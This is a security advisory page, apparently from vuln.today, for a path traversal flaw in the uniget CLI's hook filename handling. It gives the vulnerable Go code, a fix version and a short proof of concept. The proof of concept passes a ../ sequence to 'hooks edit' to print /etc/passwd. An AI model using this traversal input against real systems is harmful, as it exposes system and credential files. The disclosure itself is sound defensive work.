Skip to main content

uniget CLI CVE-2026-55062

MEDIUM
Path Traversal (CWE-22)
2026-08-17 https://github.com/uniget-org/cli GHSA-m6jg-wr9m-cg2f
Share

Severity by source

vuln.today AI
7.1 HIGH

Local CLI tool requires user invocation (AV:L, PR:L); trivial path traversal with no special conditions (AC:L); arbitrary file read and write confirmed (C:H, I:H); no availability impact demonstrated.

3.1 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
4.0 AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Lifecycle Timeline

2
Source Code Evidence Fetched
Aug 17, 2026 - 18:40 vuln.today
Analysis Generated
Aug 17, 2026 - 18:40 vuln.today

DescriptionCVE.org

Summary

Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like [passwd](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html).

Details File: [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) Lines 135-160

hookFileName := args[0]  // User input not validated
hookFile = preInstallHooksDir + "/" + hookFileName  // Direct concatenation

Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.

PoC

Step 1: Set cat as editor

export EDITOR="cat"

Step 2: Read /etc/passwd via path traversal

./uniget hooks edit --type=pre-install "../../../../etc/passwd"

Step 3: Output shows file contents

root:x:0:0:root:/root:/bin/bash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[...]

<img width="1014" height="178" alt="image" src="https://github.com/user-attachments/assets/0db0fe7e-533b-4d8e-a346-81886ce866ab" />

AnalysisAI

Path traversal in uniget CLI's hook filename handling exposes arbitrary local filesystem files to any user able to invoke the uniget hooks edit or hooks remove subcommands, affecting all releases prior to v0.27.6. The root cause in hooks.go is direct string concatenation of the unsanitized args[0] value with preInstallHooksDir, allowing ../ sequences to escape the designated hooks directory entirely. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
technique details hidden
Delivery
technique details hidden
Exploit
technique details hidden
Execution
technique details hidden
Persist
technique details hidden
Impact
technique details hidden

Vulnerability AssessmentAI

Exploitation Exploitation requires local execution of the uniget CLI binary with attacker-controlled input to the `hooks edit` or `hooks remove` subcommand's filename argument. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment No official CVSS score has been published by NVD or the vendor, so risk must be constructed from first principles. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario Full exploit scenario with step-by-step reproduction available after sign-in.
Remediation Upgrade uniget CLI to version 0.27.6 or later, available at https://github.com/uniget-org/cli/releases/tag/v0.27.6. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

CVE-2026-55062 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy